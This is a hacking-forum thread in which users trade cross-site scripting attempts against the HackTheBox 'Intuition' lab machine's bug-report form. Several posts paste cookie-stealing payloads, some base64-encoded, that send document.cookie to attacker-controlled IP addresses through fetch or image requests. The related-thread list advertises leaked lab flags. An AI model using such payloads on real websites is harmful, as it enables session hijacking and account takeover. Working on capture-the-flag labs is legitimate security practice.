HTB- Intuition
by trevor69000 - Saturday April 27, 2024 at 06:46 PM
#21
(04-27-2024, 10:00 PM)3kyy Wrote:
(04-27-2024, 09:38 PM)xxxbfacc Wrote: cookie from report_bugs via img tag xss

<img src=x onerror="location.href='10.10.14.8:8888/?c='+ document.cookie">
<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>
<script>var i=new Image();i.src="http://10.10.14.8:8888/?c="+document.cookie</script>

dont work for me, and I tried with CSP bypass:

worked ? .............................................................
Ban reason:
Asking for rep is not allowed (Permanent)
Reply
#22
Anything with priv esc? Got nothing with linpeas or manual enumeration
Reply
#23
(04-27-2024, 10:37 PM)andlommy Wrote: <img src=x onerror="eval(atob('')">

works
payload is regular fetch with document cookie in url

tried multiple payloads, none of them work, is there anything we need to do before submitting the bug report with the paylond in it? which parameter is affected? 
i tried in both params these payloads and none worked...:
<img src=x onerror=eval(atob(this.id)) id=ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC44Ni8/Y29va2llPScrZG9jdW1lbnQuY29va2llKQo=>
<img src="fetch('http://10.10.14.86:80/?cookie='+document.cookie); " onerror="xss(1)">
<img src=x onerror="eval(fetch('http://10.10.14.86:80/?cookie='+document.cookie))">
<img src="non-existing-image.png" onerror="fetch('http://10.10.14.86/?cookie='+document.cookie);" />
<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://10.10.14.86/?'+document.cookie>
Reply
#24
"payload is regular fetch with document cookie in url "

I do not understand.

Like this?

<img src=x onerror="eval(atob('fetch('http://SERVER/?cookie='+document.cookie)')"> but in b64 payload?
Reply
#25
Ok. I'm taking a break for a bit. But I'll leave this tidbit.
You need to steal more than one cookie...
Reply
#26
report_title=xxx&description=<img src=x onerror=eval(atob('ZmV0Y2goJ2h0dHA6Ly9TRVJWRVI/Y29va2llPScrZG9jdW1lbnQuY29va2llKQ=='))>

Like this?? I cannot get it to work.
Reply
#27
anyone help us xss not work why
Ban reason:
Asking for rep is not allowed (Permanent)
Reply
#28
Yeah I am really confused. Seems pretty straight forward. Just modifying the:
"POST /report_bug
report_title=xxx&description=xxx"
correct? It redirects and I see nothing in my server.
Reply
#29
pdf generator seems rabbit holey.
But I'm probably just missing something...
Reply
#30
(04-28-2024, 12:54 AM)xxxbfacc Wrote: pdf generator seems rabbit holey.
But I'm probably just missing something...

bro what payload for xss
Ban reason:
Asking for rep is not allowed (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,241 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,761 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,048 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,266 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,538 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 1 Guest(s)